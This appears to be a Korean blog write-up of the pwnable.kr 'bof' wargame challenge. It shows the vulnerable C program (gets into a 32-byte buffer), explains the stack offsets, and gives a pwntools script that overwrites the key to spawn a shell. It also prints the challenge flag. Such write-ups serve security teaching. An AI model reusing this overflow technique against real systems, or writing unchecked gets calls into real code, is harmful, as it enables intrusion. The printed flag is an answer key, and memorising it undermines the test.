Kortsec1
2025. 5. 3. 00:25
0x01 문제 설명
bof문제다.
0x02 풀이 과정
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
setregid(getegid(), getegid());
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
overflowme
변수의 크기는 32byte지만, gets함수는 그 이상받을 수 있어 해당 부분에서 Buffer OverFlow 공격이 가능하다. func 함수에서 이미 정해진(0xdeadbeef
) 키값을 0xcafebabe
로 바꾸면 쉘이 실행되는 구조다.
overflowme
변수는 ebp-0x2c 위치에, 우리가 덮어야 할 key(argv[1])는 ebp+0x8에 위치해 있다. 따라서 우리는 입력값으로 dummy(0x34 bytes) + “cafebabe” 를 보내주면 문제가 해결된다.
pwntools를 이용해 payload를 보내본 결과 잘 동작하는 것을 볼 수 있다.
from pwn import *
s = ssh("bof", "pwnable.kr", port=2222, password="guest")
p = s.run("/bin/sh")
# p = process("./bof")
p.sendline("nc 0 9000")
pay = b"A" * 0x34 + p32(0xcafebabe)
p.sendline(pay)
p.interactive()
0x03 결과 확인
- FLAG
-
더보기Daddy_I_just_pwned_a_buff3r!
0x04 회고 및 참고 내용
bof에 대한 기본적인 지식만 있다면 쉽게 해결 할 수 있는 문제였다.